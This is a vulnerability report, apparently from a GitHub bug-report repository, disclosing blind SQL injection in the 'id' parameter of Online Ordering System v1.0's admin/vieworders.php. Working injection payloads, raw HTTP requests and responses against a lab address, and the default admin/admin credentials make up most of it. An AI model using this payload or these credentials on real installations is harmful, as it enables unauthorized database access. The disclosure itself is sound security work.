

main

...

bug_report / vendors / argie / online-ordering-system / SQLi-3.md



debug601 Create SQLi-3.md

History

1 contributor

39 lines (25 sloc) | 1.5 KB

...

Online Ordering System v1.0 by oretnom23 has SQL injection

Author: k0xx

The password for the backend login account is: admin/admin

vendors: <https://www.sourcecodester.com/php/5125/online-ordering-system-using-phpmysql.html>

Vulnerability File: /onlineordering/admin/vieworders.php

Vulnerability location: /onlineordering/admin/vieworders.php?id=id

[+] Payload: /onlineordering/admin/vieworders.php?id=MM-MDE%27%20and%20length(database())%20=12--+ // Leak place ---> id

Current database name: shoppingcart,length is 12

```
GET /onlineordering/admin/vieworders.php?id=MM-MDE%27%20and%20length(database())%20=
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=v112m4jpgqqtido86av7lvbjv31
Connection: close

When length (database ()) = 11, Content-Length: 791

GET /onlineordering/admin/vieworders.php?id=MM-MDE%27%20and%20length(database())%20=11--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=v112m4jpgqqtido86av7lvbjv31
Connection: close

HTTP/1.1 200 OK
Date: Mon, 09 May 2022 04:06:27 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Content-Length: 791
Connection: close
Content-Type: text/html; charset=UTF-8

```
<link rel="stylesheet" href="febe/style.css" type="text/css" media="screen">
<link href="src/facebox.css" media="screen" rel="stylesheet" type="text/css">
<script src="lib/jquery.js" type="text/javascript"></script>
<script src="src/facebox.js" type="text/javascript"></script>
<script type="text/javascript">
    jQuery(document).ready(function($) {
        $('a[rel*=facebox]').facebox({
            loadingImage : 'src/loading.gif',
            closeImage   : 'src/closetable.png'
        })
    })
</script>
```

Load URL http://192.168.1.19/onlineordering/admin/vieworders.php?id=MM-MDE' and length(database()) = 11|--+
Split URL
Execute
☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☒ Replace All

Order Date:

| NAME | QUANTITY | NOTE |
|------|----------|------|
|------|----------|------|

When length (database ()) = 12, Content-Length: 1065

GET /onlineordering/admin/vieworders.php?id=MM-MDE%27%20and%20length(database())%20=12--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=v112m4jpgqqtido86av7lvbjv31
Connection: close

HTTP/1.1 200 OK
Date: Mon, 09 May 2022 04:06:01 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Content-Length: 1065
Connection: close
Content-Type: text/html; charset=UTF-8

```
<link rel="stylesheet" href="febe/style.css" type="text/css" media="screen">
<link href="src/facebox.css" media="screen" rel="stylesheet" type="text/css">
<script src="lib/jquery.js" type="text/javascript"></script>
<script src="src/facebox.js" type="text/javascript"></script>
<script type="text/javascript">
    jQuery(document).ready(function($) {
        $('a[rel*=facebox]').facebox({
            loadingImage : 'src/loading.gif',
            closeImage   : 'src/closetable.png'
        })
    })
</script>
```

Load URL

Split URL

Execute

http://192.168.1.19/onlineordering/admin/vieworders.php?id=MM-MDE' and length(database()) =12--+|

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replacing string

☒ Replace All

Order Date: 13:02:23

| NAME | QUANTITY | NOTE |
|---------------|---------------------------------|-----------|
| Keychain | 3 View Design | butterfly |
| Total Payable | 575 | |